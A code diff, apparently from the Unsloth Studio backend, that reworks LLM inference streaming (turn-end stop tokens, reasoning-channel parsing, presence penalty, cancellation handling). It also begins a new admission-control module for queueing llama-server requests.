 from unsloth.chat_templates import get_chat_template
-from transformers import TextStreamer
+from transformers import TextIteratorStreamer, TextStreamer
 from peft import PeftModel, PeftModelForCausalLM
 
 import json
@@ -15,6 +15,7 @@ from pathlib import Path
 from typing import Optional, Union, Generator, Tuple
 from utils.models import ModelConfig, get_base_model_from_lora
 from utils.paths import is_model_cached
+from utils.transformers_dtype import dtype_kwargs
 from utils.utils import format_error_message
 from utils.hardware import (
     get_device,
@@ -27,6 +28,16 @@ from utils.hardware import (
 from core.inference.audio_codecs import AudioCodecManager
 from core.inference.runtime_context import runtime_context_length
 from core.inference.message_content import content_to_text
+from core.inference.chat_eos import (
+    chat_eos_repair,
+    resolve_chat_turn_end_eos_ids_using,
+)
+from core.inference.chat_template_helpers import (
+    ReasoningChannelNormalizer,
+    detect_reasoning_channel_markers,
+    detect_think_prefill,
+)
+from core.inference.presence_penalty import _make_presence_penalty_processor
 from io import StringIO
 import structlog
 from loggers import get_logger
@@ -181,6 +192,53 @@ class HarmonyTextStreamer:
                     self._queue.put(new_content)
 
 
+class ReasoningTextIteratorStreamer(TextIteratorStreamer):
+    """TextIteratorStreamer that preserves native channel tokens until parsed."""
+
+    def __init__(
+        self,
+        tokenizer,
+        *,
+        markers: tuple[str, str],
+        skip_prompt: bool = True,
+        timeout: float = 0.2,
+        cancel_event = None,
+        **decode_kwargs,
+    ):
+        decode_kwargs["skip_special_tokens"] = False
+        super().__init__(tokenizer, skip_prompt = skip_prompt, timeout = timeout, **decode_kwargs)
+        self._normalizer = ReasoningChannelNormalizer(*markers)
+        self._cancel_event = cancel_event
+        self._aborted = False
+
+    def abort(self):
+        """Mark generation as failed so ``end`` drains without closing."""
+        self._aborted = True
+
+    def on_finalized_text(
+        self,
+        text: str,
+        stream_end: bool = False,
+    ):
+        """Queue canonical deltas, closing only on natural stream completion."""
+        delta = self._normalizer.feed(text)
+        if delta:
+            self.text_queue.put(delta, timeout = self.timeout)
+
+        if stream_end:
+            cancelled = self._aborted or (
+                self._cancel_event is not None and self._cancel_event.is_set()
+            )
+            tail = self._normalizer.drain() if cancelled else self._normalizer.finish()
+            if tail:
+                self.text_queue.put(tail, timeout = self.timeout)
+            self.text_queue.put(self.stop_signal, timeout = self.timeout)
+
+
+class _GenerationThreadError(RuntimeError):
+    """Generation worker failures that should propagate through stream routes."""
+
+
 class InferenceBackend:
     """Unified inference backend supporting text, vision, and LoRA models"""
 
@@ -210,6 +268,50 @@ class InferenceBackend:
         # API uses -1 to disable top-k; transformers uses 0.
         return 0 if top_k < 0 else top_k
 
+    def _resolve_chat_eos(self, model_name: str) -> None:
+        """Resolve this chat model's assistant-turn-end stop tokens once at load,
+        cache them in model_info, and repair generation_config so every
+        ``.generate()`` path stops at the turn boundary.
+
+        Some checkpoints (e.g. Qwen3.5 / Qwen3.6 small chat models) end turns with
+        ``<|im_end|>`` but ship ``config.eos_token_id = <|endoftext|>`` and no
+        ``generation_config.json``, so paths that read ``generation_config`` (the
+        vision path, tool loops) run past the turn and loop. Turn-end markers are
+        derived from the chat_template (see chat_eos.resolve_chat_turn_end_eos_ids),
+        so base/coder models and harmony templates are left untouched.
+        """
+        info = self.models.get(model_name) or {}
+        model = info.get("model")
+        container = info.get("tokenizer")
+        tokenizer = getattr(container, "tokenizer", container)  # unwrap processors
+        if model is None or tokenizer is None:
+            return
+        # Vision models carry the chat_template on the processor, not the inner
+        # tokenizer. Read markers from whichever has one, but resolve ids on the
+        # generation tokenizer, else the vision path misses the turn-end token.
+        template_source = container if getattr(container, "chat_template", None) else tokenizer
+        try:
+            turn_end_ids = resolve_chat_turn_end_eos_ids_using(template_source, tokenizer)
+        except Exception as e:  # never block a load on eos resolution
+            logger.warning("Chat turn-end eos resolution failed for %s: %s", model_name, e)
+            return
+        info["chat_turn_end_eos_ids"] = turn_end_ids
+
+        gen = getattr(model, "generation_config", None)
+        if gen is None:
+            return
+        repaired = chat_eos_repair(gen.eos_token_id, turn_end_ids)
+        if repaired is None:
+            return
+        previous = gen.eos_token_id
+        gen.eos_token_id = repaired
+        logger.info(
+            "Repaired generation_config.eos_token_id for %s: %s -> %s",
+            model_name,
+            previous,
+            repaired,
+        )
+
     def load_model(
         self,
         config: ModelConfig,
@@ -221,6 +323,9 @@ class InferenceBackend:
         gpu_ids: Optional[list[int]] = None,
     ) -> bool:
         """Load any model: base, LoRA adapter, text, or vision."""
+        # Keep the token so the native-template fallback can fetch a
+        # gated model's repo template later during generation.
+        self._hf_token = hf_token
         # GGUF uses max_seq_length=0 as "model default"; Unsloth crashes on it.
         if max_seq_length <= 0:
             max_seq_length = 2048
@@ -231,6 +336,8 @@ class InferenceBackend:
             # Already loaded?
             if model_name in self.models and self.models[model_name].get("model"):
                 logger.info(f"Model {model_name} already loaded")
+                if hf_token:
+                    self.models[model_name]["hf_token"] = hf_token
                 self.active_model_name = model_name
                 return True
 
@@ -246,6 +353,14 @@ class InferenceBackend:
             )
 
             self.models[model_name] = {
+                # Per-model token: the native-template fallback must use the
+                # token this model was loaded with, not whichever loaded last.
+                "hf_token": hf_token,
+                # Per-model consent: the native-template reload must re-use the
+                # exact trust_remote_code this model (and a LoRA's base) was loaded
+                # with, so a custom-code tokenizer repo can be re-fetched without
+                # executing any code the user did not already consent to.
+                "trust_remote_code": trust_remote_code,
                 "is_vision": config.is_vision,
                 "is_lora": config.is_lora,
                 "is_audio": config.is_audio,
@@ -378,7 +493,7 @@ class InferenceBackend:
                         feature_extractor = tokenizer.feature_extractor,
                         processor = tokenizer,
                         return_language = True,
-                        torch_dtype = torch.float16,
+                        **dtype_kwargs(torch.float16),
                     )
                     self.models[model_name]["model"] = model
                     self.models[model_name]["tokenizer"] = tokenizer
@@ -496,6 +611,7 @@ class InferenceBackend:
                 max_seq_length,
             )
 
+            self._resolve_chat_eos(model_name)
             self._load_chat_template_info(model_name)
 
             self.active_model_name = model_name
@@ -766,9 +882,13 @@ class InferenceBackend:
         preserve_thinking: Optional[bool] = None,
         max_tool_iterations: int = 25,
         auto_heal_tool_calls: bool = True,
+        nudge_tool_calls: Optional[bool] = None,
         tool_call_timeout: int = 300,
         session_id: Optional[str] = None,
+        thread_id: Optional[str] = None,
         rag_scope: Optional[dict] = None,
+        presence_penalty: float = 0.0,
+        reasoning_prefilled: bool = False,
     ):
         """Run an agentic tool loop on top of ``generate_chat_response``.
 
@@ -802,6 +922,7 @@ class InferenceBackend:
                 enable_thinking = enable_thinking,
                 reasoning_effort = reasoning_effort,
                 preserve_thinking = preserve_thinking,
+                presence_penalty = presence_penalty,
             )
 
         initial = list(messages)
@@ -815,10 +936,13 @@ class InferenceBackend:
             execute_tool = execute_tool,
             cancel_event = cancel_event,
             auto_heal_tool_calls = auto_heal_tool_calls,
+            nudge_tool_calls = nudge_tool_calls,
             max_tool_iterations = max_tool_iterations,
             tool_call_timeout = tool_call_timeout,
             session_id = session_id,
+            thread_id = thread_id,
             rag_scope = rag_scope,
+            reasoning_prefilled = reasoning_prefilled,
         )
 
     def generate_chat_response(
@@ -837,12 +961,14 @@ class InferenceBackend:
         enable_thinking: Optional[bool] = None,
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Generate response for text or vision models (lock held by background thread).
 
         ``tools`` / ``enable_thinking`` / ``reasoning_effort`` / ``preserve_thinking``
         are forwarded into ``apply_chat_template`` so templates that understand them
         (Qwen3, Llama 3.1+, gpt-oss harmony) advertise tool schemas / reasoning controls.
+        ``presence_penalty`` matches the GGUF sampling path (0 disables it).
         """
         yield from self._generate_chat_response_inner(
             messages = messages,
@@ -859,6 +985,7 @@ class InferenceBackend:
             enable_thinking = enable_thinking,
             reasoning_effort = reasoning_effort,
             preserve_thinking = preserve_thinking,
+            presence_penalty = presence_penalty,
         )
 
     def _generate_chat_response_inner(
@@ -878,6 +1005,7 @@ class InferenceBackend:
         enable_thinking: Optional[bool] = None,
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Inner generation logic, called by generate_chat_response and
         generate_with_adapter_control.
@@ -886,8 +1014,7 @@ class InferenceBackend:
         thread can toggle adapters under the generation lock.
         """
         if not self.active_model_name:
-            yield "Error: No active model"
-            return
+            raise RuntimeError("No active model")
 
         model_info = self.models[self.active_model_name]
         is_vision = model_info.get("is_vision", False)
@@ -917,6 +1044,7 @@ class InferenceBackend:
                     max_new_tokens,
                     repetition_penalty,
                     cancel_event = cancel_event,
+                    presence_penalty = presence_penalty,
                 )
                 return
             else:
@@ -946,6 +1074,22 @@ class InferenceBackend:
                     tokenizer,
                     chat_template = template_name,
                 )
+                # The mapper installs the effective template only now, at generate
+                # time, so re-resolve and UNION into the load-time cache (never
+                # overwrite). get_chat_template can return a remapped tokenizer
+                # (turn-end folded onto doc-eos) while generate_stream reads the
+                # original, so take marker strings from the mapped template but
+                # resolve their ids on the original.
+                try:
+                    _gen_tok = model_info.get("tokenizer") or tokenizer
+                    refreshed = resolve_chat_turn_end_eos_ids_using(
+                        getattr(tokenizer, "tokenizer", tokenizer),
+                        getattr(_gen_tok, "tokenizer", _gen_tok),
+                    )
+                    existing = model_info.get("chat_turn_end_eos_ids") or []
+                    model_info["chat_turn_end_eos_ids"] = sorted(set(existing) | set(refreshed))
+                except Exception as e:
+                    logger.warning(f"Could not refresh chat turn-end eos after template: {e}")
             else:
                 logger.info(
                     f"No registered Unsloth template for {self.active_model_name}, using tokenizer default"
@@ -958,6 +1102,7 @@ class InferenceBackend:
             template_messages = [{"role": "system", "content": system_prompt}] + messages
         else:
             template_messages = messages
+        reasoning_channel_markers_resolved = False
         try:
             if not (hasattr(tokenizer, "chat_template") and tokenizer.chat_template):
                 raise ValueError(
@@ -967,6 +1112,7 @@ class InferenceBackend:
                     f"Please use a model that includes a chat template, or manually set "
                     f"one via tokenizer.chat_template before inference."
                 )
+            reasoning_channel_markers = None
             formatted_prompt = self._apply_chat_template_for_generation(
                 tokenizer,
                 template_messages,
@@ -975,11 +1121,38 @@ class InferenceBackend:
                 reasoning_effort = reasoning_effort,
                 preserve_thinking = preserve_thinking,
             )
+
+            # If tools were requested but the (possibly overridden) template ignored
+            # them, fall back to the model's native template (shared with MLX).
+            from core.inference.chat_template_helpers import (
+                render_with_native_template_fallback,
+            )
+
+            render_result = render_with_native_template_fallback(
+                formatted_prompt = formatted_prompt,
+                tokenizer = tokenizer,
+                model_info = model_info,
+                active_model_name = self.active_model_name,
+                messages = template_messages,
+                tools = tools,
+                enable_thinking = enable_thinking,
+                reasoning_effort = reasoning_effort,
+                preserve_thinking = preserve_thinking,
+                apply_fn = self._apply_chat_template_for_generation,
+                hf_token = model_info.get("hf_token"),
+                return_metadata = True,
+            )
+            formatted_prompt = render_result.prompt
+            reasoning_channel_markers = render_result.reasoning_channel_markers
+            reasoning_channel_markers_resolved = True
+
             logger.debug(f"Formatted prompt: {formatted_prompt[:200]}...")
         except Exception as e:
             logger.error(f"Error applying chat template: {e}")
             # Fall back to manual formatting
             formatted_prompt = self.format_chat_prompt(messages, system_prompt)
+            reasoning_channel_markers = None
+            reasoning_channel_markers_resolved = True
 
         # Step 3: generate
         yield from self.generate_stream(
@@ -992,6 +1165,9 @@ class InferenceBackend:
             repetition_penalty,
             cancel_event = cancel_event,
             _adapter_state = _adapter_state,
+            presence_penalty = presence_penalty,
+            reasoning_channel_markers = reasoning_channel_markers,
+            reasoning_channel_markers_resolved = reasoning_channel_markers_resolved,
         )
 
     def _generate_vision_response(
@@ -1006,6 +1182,7 @@ class InferenceBackend:
         max_new_tokens,
         repetition_penalty,
         cancel_event = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Handle vision model generation with true token-by-token streaming."""
         model_info = self.models[self.active_model_name]
@@ -1067,21 +1244,36 @@ class InferenceBackend:
                 add_special_tokens = False,
                 return_tensors = "pt",
             ).to(model.device)
+            prompt_text = input_text
         else:
             # Text-only path for a vision model
             formatted_prompt = self.format_chat_prompt(messages, system_prompt)
             inputs = raw_tokenizer(formatted_prompt, return_tensors = "pt").to(model.device)
+            prompt_text = formatted_prompt
 
         # Stream with TextIteratorStreamer + background thread
         try:
-            from transformers import TextIteratorStreamer
+            # Re-emit an open <think> prefill swallowed by skip_prompt (see
+            # generate_stream).
+            think_prefix = detect_think_prefill(
+                prompt_text, getattr(raw_tokenizer, "all_special_tokens", None)
+            )
             import threading
 
-            streamer = TextIteratorStreamer(
+            streamer = self._make_text_streamer(
                 raw_tokenizer,
+                protocol_source = processor,
+                # The text-only VLM fallback above did not render with the
+                # processor template, so its native markers do not describe
+                # this request's response protocol.
+                reasoning_channel_markers = detect_reasoning_channel_markers(processor)
+                if image
+                else None,
+                reasoning_channel_markers_resolved = True,
                 skip_prompt = True,
-                skip_special_tokens = True,
                 timeout = 0.2,
+                cancel_event = cancel_event,
+                use_harmony = self._is_gpt_oss_model(),
             )
 
             generation_kwargs = dict(
@@ -1095,6 +1287,18 @@ class InferenceBackend:
                 top_k = top_k,
                 min_p = min_p,
             )
+            # Presence penalty (GGUF parity) for VLM chat.
+            _vision_input_ids = inputs.get("input_ids") if hasattr(inputs, "get") else None
+            if _vision_input_ids is not None:
+                _pp = _make_presence_penalty_processor(
+                    presence_penalty, int(_vision_input_ids.shape[1])
+                )
+                if _pp is not None:
+                    generation_kwargs["logits_processor"] = _pp
+            stopping_criteria = self._cancel_stopping_criteria(cancel_event)
+            if stopping_criteria is not None:
+                generation_kwargs["stopping_criteria"] = stopping_criteria
+            active_stop_token_ids = self._generation_stop_token_ids(model, generation_kwargs)
 
             err: dict[str, str] = {}
 
@@ -1104,6 +1308,8 @@ class InferenceBackend:
                         model.generate(**generation_kwargs)
                     except Exception as e:
                         err["msg"] = str(e)
+                        if hasattr(streamer, "abort"):
+                            streamer.abort()
                         logger.error(f"Vision generation error in thread: {e}")
                     finally:
                         try:
@@ -1114,14 +1320,23 @@ class InferenceBackend:
             thread = threading.Thread(target = generate_fn)
             thread.start()
 
-            output = ""
+            output = think_prefix
+            # Emit the prefilled <think> before the first token so the block
+            # renders during prompt prefill (which can take seconds).
+            if think_prefix:
+                yield think_prefix
             from queue import Empty
+            import time
 
             generation_complete = False
+            cancel_deadline = None
             try:
                 while True:
                     if cancel_event is not None and cancel_event.is_set():
-                        break
+                        if cancel_deadline is None:
+                            cancel_deadline = time.monotonic() + 10
+                        elif time.monotonic() >= cancel_deadline:
+                            break
                     try:
                         new_token = next(streamer)
                     except StopIteration:
@@ -1130,27 +1345,48 @@ class InferenceBackend:
                     except Empty:
                         if not thread.is_alive():
                             generation_complete = True
+                            output = yield from self._drain_streamer_tail(
+                                streamer, output, active_stop_token_ids
+                            )
+                            break
+                        if cancel_deadline is not None:
+                            remaining = cancel_deadline - time.monotonic()
+                            if remaining <= 0:
+                                break
+                            thread.join(timeout = remaining)
+                            if thread.is_alive():
+                                break
+                            generation_complete = True
+                            output = yield from self._drain_streamer_tail(
+                                streamer, output, active_stop_token_ids
+                            )
                             break
                         continue
                     if new_token:
-                        output += new_token
-                        cleaned = self._clean_generated_text(output)
+                        output, cleaned = self._append_stream_delta(
+                            output, new_token, active_stop_token_ids
+                        )
                         yield cleaned
             finally:
                 if cancel_event is not None and not generation_complete:
                     cancel_event.set()
-                thread.join(timeout = 10)
+                join_timeout = 10
+                if cancel_deadline is not None:
+                    join_timeout = max(0, cancel_deadline - time.monotonic())
+                thread.join(timeout = join_timeout)
                 if thread.is_alive():
                     logger.warning(
                         "Vision generation thread did not exit after cancel/join timeout"
                     )
 
             if err.get("msg"):
-                yield f"Error: {err['msg']}"
+                raise _GenerationThreadError(err["msg"])
 
+        except _GenerationThreadError:
+            raise
         except Exception as e:
             logger.error(f"Vision generation error: {e}")
-            yield f"Error: {str(e)}"
+            raise
 
     def generate_audio_input_response(
         self,
@@ -1275,11 +1511,13 @@ class InferenceBackend:
                     )
 
             if err.get("msg"):
-                yield f"Error: {err['msg']}"
+                raise _GenerationThreadError(err["msg"])
 
+        except _GenerationThreadError:
+            raise
         except Exception as e:
             logger.error(f"Audio input generation error: {e}")
-            yield f"Error: {str(e)}"
+            raise
 
     def generate_whisper_response(
         self,
@@ -1312,6 +1550,86 @@ class InferenceBackend:
         from utils.datasets import is_gpt_oss_model_name
         return is_gpt_oss_model_name(model_name or self.active_model_name or "")
 
+    def _make_text_streamer(
+        self,
+        tokenizer,
+        *,
+        protocol_source = None,
+        reasoning_channel_markers = None,
+        reasoning_channel_markers_resolved: bool = False,
+        skip_prompt: bool = True,
+        timeout: float = 0.2,
+        cancel_event = None,
+        use_harmony: bool = False,
+    ):
+        """Create the streamer matching this model's native response protocol."""
+        if use_harmony:
+            try:
+                return HarmonyTextStreamer(
+                    tokenizer,
+                    skip_prompt = skip_prompt,
+                    timeout = timeout,
+                )
+            except Exception as e:
+                logger.warning(f"HarmonyTextStreamer init failed, falling back: {e}")
+                return TextIteratorStreamer(
+                    tokenizer,
+                    skip_prompt = skip_prompt,
+                    skip_special_tokens = True,
+                    timeout = timeout,
+                )
+
+        markers = (
+            reasoning_channel_markers
+            if reasoning_channel_markers_resolved
+            else reasoning_channel_markers
+            or detect_reasoning_channel_markers(protocol_source or tokenizer)
+        )
+        if markers is not None:
+            return ReasoningTextIteratorStreamer(
+                tokenizer,
+                markers = markers,
+                skip_prompt = skip_prompt,
+                timeout = timeout,
+                cancel_event = cancel_event,
+            )
+        return TextIteratorStreamer(
+            tokenizer,
+            skip_prompt = skip_prompt,
+            skip_special_tokens = True,
+            timeout = timeout,
+        )
+
+    def _append_stream_delta(
+        self,
+        output: str,
+        new_token: str,
+        stop_token_ids = None,
+    ):
+        """Append a streamer delta and apply response-boundary cleanup."""
+        output += new_token
+        return output, self._clean_generated_text(output, stop_token_ids = stop_token_ids)
+
+    def _drain_streamer_tail(
+        self,
+        streamer,
+        output: str,
+        stop_token_ids = None,
+    ):
+        """Drain queued streamer text after the producer exits."""
+        while True:
+            try:
+                new_token = next(streamer)
+            except StopIteration:
+                return output
+            except Exception:
+                return output
+            if new_token:
+                output, cleaned = self._append_stream_delta(
+                    output, new_token, stop_token_ids = stop_token_ids
+                )
+                yield cleaned
+
     def generate_stream(
         self,
         prompt: str,
@@ -1323,15 +1641,18 @@ class InferenceBackend:
         repetition_penalty: float = 1.0,
         cancel_event = None,
         _adapter_state = None,
+        presence_penalty: float = 0.0,
+        reasoning_channel_markers = None,
+        reasoning_channel_markers_resolved: bool = False,
     ) -> Generator[str, None, None]:
         """Generate a streaming text response (text models only).
 
         _adapter_state: if not None, the background thread toggles adapters
         before model.generate(), under _generation_lock.
+        ``presence_penalty`` matches the GGUF sampling path via a logits processor (0 disables it).
         """
         if not self.active_model_name:
-            yield "Error: No active model"
-            return
+            raise RuntimeError("No active model")
 
         model_info = self.models[self.active_model_name]
         model = model_info["model"]
@@ -1344,33 +1665,27 @@ class InferenceBackend:
         try:
             inputs = tokenizer(prompt, return_tensors = "pt").to(model.device)
 
-            from transformers import TextIteratorStreamer
             import threading
 
-            # gpt-oss models: HarmonyTextStreamer parses the multi-channel
-            # harmony protocol into <think> tags
-            if self._is_gpt_oss_model():
-                try:
-                    streamer = HarmonyTextStreamer(
-                        tokenizer,
-                        skip_prompt = True,
-                        timeout = 0.2,
-                    )
-                except Exception as e:
-                    logger.warning(f"HarmonyTextStreamer init failed, falling back: {e}")
-                    streamer = TextIteratorStreamer(
-                        tokenizer,
-                        skip_prompt = True,
-                        skip_special_tokens = True,
-                        timeout = 0.2,
-                    )
-            else:
-                streamer = TextIteratorStreamer(
-                    tokenizer,
-                    skip_prompt = True,
-                    skip_special_tokens = True,
-                    timeout = 0.2,
-                )
+            # skip_prompt swallows an open <think> prefilled by the template;
+            # re-emit it so the frontend can render the thinking block.
+            # gpt-oss emits its own tags via HarmonyTextStreamer.
+            think_prefix = (
+                ""
+                if self._is_gpt_oss_model()
+                else detect_think_prefill(prompt, getattr(tokenizer, "all_special_tokens", None))
+            )
+
+            streamer = self._make_text_streamer(
+                tokenizer,
+                protocol_source = model_info.get("tokenizer"),
+                reasoning_channel_markers = reasoning_channel_markers,
+                reasoning_channel_markers_resolved = reasoning_channel_markers_resolved,
+                skip_prompt = True,
+                timeout = 0.2,
+                cancel_event = cancel_event,
+                use_harmony = self._is_gpt_oss_model(),
+            )
 
             generation_kwargs = dict(
                 **inputs,
@@ -1382,26 +1697,22 @@ class InferenceBackend:
                 min_p = min_p,
                 repetition_penalty = repetition_penalty,
                 do_sample = temperature > 0,
-                eos_token_id = tokenizer.eos_token_id,
+                # Resolved once at load (chat_template-derived turn-end tokens).
+                eos_token_id = model_info.get("chat_turn_end_eos_ids") or tokenizer.eos_token_id,
                 pad_token_id = tokenizer.eos_token_id
                 if tokenizer.pad_token_id is None
                 else tokenizer.pad_token_id,
             )
-            if cancel_event is not None:
-                from transformers.generation.stopping_criteria import (
-                    StoppingCriteria,
-                    StoppingCriteriaList,
-                )
-                class _CancelCriteria(StoppingCriteria):
-                    def __init__(self, ev):
-                        self.ev = ev
-
-                    def __call__(self, input_ids, scores, **kwargs):
-                        return self.ev.is_set()
-
-                generation_kwargs["stopping_criteria"] = StoppingCriteriaList(
-                    [_CancelCriteria(cancel_event)]
-                )
+            active_stop_token_ids = self._generation_stop_token_ids(model, generation_kwargs)
+            # Presence penalty (GGUF parity); prompt_len excludes prompt tokens.
+            _pp = _make_presence_penalty_processor(
+                presence_penalty, int(inputs["input_ids"].shape[1])
+            )
+            if _pp is not None:
+                generation_kwargs["logits_processor"] = _pp
+            stopping_criteria = self._cancel_stopping_criteria(cancel_event)
+            if stopping_criteria is not None:
+                generation_kwargs["stopping_criteria"] = stopping_criteria
 
             def generate_fn():
                 with self._generation_lock:
@@ -1411,6 +1722,8 @@ class InferenceBackend:
                         model.generate(**generation_kwargs)
                     except Exception as e:
                         err["msg"] = str(e)
+                        if hasattr(streamer, "abort"):
+                            streamer.abort()
                         logger.error(f"Generation error: {e}")
                     finally:
                         try:
@@ -1422,14 +1735,23 @@ class InferenceBackend:
             thread = threading.Thread(target = generate_fn)
             thread.start()
 
-            output = ""
+            output = think_prefix
+            # Emit the prefilled <think> before the first token so the block
+            # renders during prompt prefill (which can take seconds).
+            if think_prefix:
+                yield think_prefix
             from queue import Empty
+            import time
 
             generation_complete = False
+            cancel_deadline = None
             try:
                 while True:
                     if cancel_event is not None and cancel_event.is_set():
-                        break
+                        if cancel_deadline is None:
+                            cancel_deadline = time.monotonic() + 10
+                        elif time.monotonic() >= cancel_deadline:
+                            break
                     try:
                         new_token = next(streamer)
                     except StopIteration:
@@ -1438,11 +1760,27 @@ class InferenceBackend:
                     except Empty:
                         if not thread.is_alive():
                             generation_complete = True
+                            output = yield from self._drain_streamer_tail(
+                                streamer, output, active_stop_token_ids
+                            )
+                            break
+                        if cancel_deadline is not None:
+                            remaining = cancel_deadline - time.monotonic()
+                            if remaining <= 0:
+                                break
+                            thread.join(timeout = remaining)
+                            if thread.is_alive():
+                                break
+                            generation_complete = True
+                            output = yield from self._drain_streamer_tail(
+                                streamer, output, active_stop_token_ids
+                            )
                             break
                         continue
                     if new_token:
-                        output += new_token
-                        cleaned = self._clean_generated_text(output)
+                        output, cleaned = self._append_stream_delta(
+                            output, new_token, active_stop_token_ids
+                        )
                         yield cleaned
             finally:
                 # Set cancel_event only on early exit (user cancel), NOT on
@@ -1451,16 +1789,21 @@ class InferenceBackend:
                 # disrupt the next serialized request (e.g. compare mode).
                 if cancel_event is not None and not generation_complete:
                     cancel_event.set()
-                thread.join(timeout = 10)
+                join_timeout = 10
+                if cancel_deadline is not None:
+                    join_timeout = max(0, cancel_deadline - time.monotonic())
+                thread.join(timeout = join_timeout)
                 if thread.is_alive():
                     logger.warning("Generation thread did not exit after cancel/join timeout")
 
             if err.get("msg"):
-                yield f"Error: {err['msg']}"
+                raise _GenerationThreadError(err["msg"])
 
+        except _GenerationThreadError:
+            raise
         except Exception as e:
             logger.error(f"Error during generation: {e}")
-            yield f"Error: {str(e)}"
+            raise
 
     # ── Audio (TTS) Generation ────────────────────────────────────
 
@@ -1949,8 +2292,42 @@ class InferenceBackend:
             return img.resize(new_size, Image.Resampling.LANCZOS)
         return img
 
-    def _clean_generated_text(self, text: str) -> str:
-        """Strip leaked special tokens using the tokenizer's own token list."""
+    def _generation_stop_token_ids(self, model, generation_kwargs: dict):
+        """Return the stop-token ids active for a ``generate`` call."""
+        if "eos_token_id" in generation_kwargs:
+            return generation_kwargs.get("eos_token_id")
+        generation_config = getattr(model, "generation_config", None)
+        eos_token_id = getattr(generation_config, "eos_token_id", None)
+        if eos_token_id is not None:
+            return eos_token_id
+        config = getattr(model, "config", None)
+        return getattr(config, "eos_token_id", None)
+
+    def _cancel_stopping_criteria(self, cancel_event):
+        """Build a Transformers stopping criteria list for user cancellation."""
+        if cancel_event is None:
+            return None
+        from transformers.generation.stopping_criteria import (
+            StoppingCriteria,
+            StoppingCriteriaList,
+        )
+
+        class _CancelCriteria(StoppingCriteria):
+            def __init__(self, ev):
+                self.ev = ev
+
+            def __call__(self, input_ids, scores, **kwargs):
+                return self.ev.is_set()
+
+        return StoppingCriteriaList([_CancelCriteria(cancel_event)])
+
+    def _clean_generated_text(
+        self,
+        text: str,
+        *,
+        stop_token_ids = None,
+    ) -> str:
+        """Strip leaked response-boundary tokens after streaming."""
         if self._is_gpt_oss_model():
             # HarmonyTextStreamer emits clean <think>...</think>. Strip any
             # harmony protocol tokens and other gpt-oss tokens (e.g.
@@ -1960,10 +2337,28 @@ class InferenceBackend:
             return text.strip()
 
         tokenizer = self.models.get(self.active_model_name, {}).get("tokenizer")
+        tokenizer = getattr(tokenizer, "tokenizer", tokenizer)
         if tokenizer:
-            for token in getattr(tokenizer, "all_special_tokens", []):
-                if token in text:
-                    text = text.replace(token, "")
+            if stop_token_ids is None:
+                stop_token_ids = self.models.get(self.active_model_name, {}).get(
+                    "chat_turn_end_eos_ids"
+                )
+            if isinstance(stop_token_ids, int):
+                stop_token_ids = (stop_token_ids,)
+            for token_id in stop_token_ids or ():
+                try:
+                    token = tokenizer.convert_ids_to_tokens(int(token_id))
+                except Exception:
+                    token = None
+                if isinstance(token, str) and token and text.endswith(token):
+                    text = text[: -len(token)]
+                elif (
+                    isinstance(token, str)
+                    and token
+                    and text.endswith("</think>")
+                    and text[: -len("</think>")].endswith(token)
+                ):
+                    text = text[: -len("</think>") - len(token)] + "</think>"
         return text.strip()
 
     def _load_chat_template_info(self, model_name: str):
diff --git a/studio/backend/core/inference/llama_admission.py b/studio/backend/core/inference/llama_admission.py
new file mode 100644
index 0000000000..b6a939c87b
--- /dev/null
+++ b/studio/backend/core/inference/llama_admission.py
@@ -0,0 +1,368 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+"""Admission control for local llama-server generation requests.
+
+The helpers in this module deliberately know nothing about FastAPI, SSE, or the
+OpenAI-compatible route shape. They only coordinate how many upstream generation
+requests may be active for one llama-server backend and provide a cancellable
+FIFO queue for excess requests.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import os
+import threading
+from collections import deque
+from dataclasses import dataclass
+from typing import Deque, Optional
+
+
+ADMISSION_CONTROL_ENV = "UNSLOTH_OPENAI_COMPAT_ADMISSION_CONTROL"
+ADMISSION_QUEUE_TIMEOUT_ENV = "UNSLOTH_OPENAI_COMPAT_ADMISSION_QUEUE_TIMEOUT"
+ADMISSION_KEEPALIVE_INTERVAL_ENV = "UNSLOTH_OPENAI_COMPAT_ADMISSION_KEEPALIVE_INTERVAL"
+ADMISSION_MAX_QUEUE_ENV = "UNSLOTH_OPENAI_COMPAT_ADMISSION_MAX_QUEUE"
+
+DEFAULT_ADMISSION_ENABLED = True
+DEFAULT_ADMISSION_QUEUE_TIMEOUT_S = None
+DEFAULT_ADMISSION_KEEPALIVE_INTERVAL_S = 5.0
+DEFAULT_ADMISSION_MAX_QUEUE = 64
+
+
+@dataclass(frozen = True)
+class LlamaAdmissionConfig:
+    enabled: bool = DEFAULT_ADMISSION_ENABLED
+    queue_timeout_s: Optional[float] = DEFAULT_ADMISSION_QUEUE_TIMEOUT_S
+    keepalive_interval_s: float = DEFAULT_ADMISSION_KEEPALIVE_INTERVAL_S
+    max_queue: Optional[int] = DEFAULT_ADMISSION_MAX_QUEUE
+
+
+@dataclass(frozen = True)
+class LlamaAdmissionSnapshot:
+    key: str
+    capacity: int
+    active: int
+    queued: int
+
+
+class LlamaAdmissionError(Exception):
+    def __init__(
+        self,
+        message: str,
+        *,
+        snapshot: Optional[LlamaAdmissionSnapshot] = None,
+    ):
+        super().__init__(message)
+        self.snapshot = snapshot
+
+
+class LlamaAdmissionQueueFull(LlamaAdmissionError):
+    pass
+
+
+class LlamaAdmissionTimeout(LlamaAdmissionError):
+    pass
+
+
+class LlamaAdmissionCancelled(LlamaAdmissionError):
+    pass
+
+
+def _bool_env(name: str, default: bool) -> bool:
+    value = os.environ.get(name)
+    if value is None or not value.strip():
+        return default
+    value = value.strip().lower()
+    if value in {"1", "true", "yes", "on"}:
+        return True
+    if value in {"0", "false", "no", "off"}:
+        return False
+    return default
+
+
+def _optional_positive_float_env(name: str, default: Optional[float]) -> Optional[float]:
+    value = os.environ.get(name)
+    if value is None or not value.strip():
+        return default
+    try:
+        parsed = float(value.strip())
+    except ValueError:
+        return default
+    return parsed if parsed > 0 else None
+
+
+def _positive_float_env(name: str, default: float) -> float:
+    value = os.environ.get(name)
+    if value is None or not value.strip():
+        return default
+    try:
+        parsed = float(value.strip())
+    except ValueError:
+        return default
+    return parsed if parsed > 0 else default
+
+
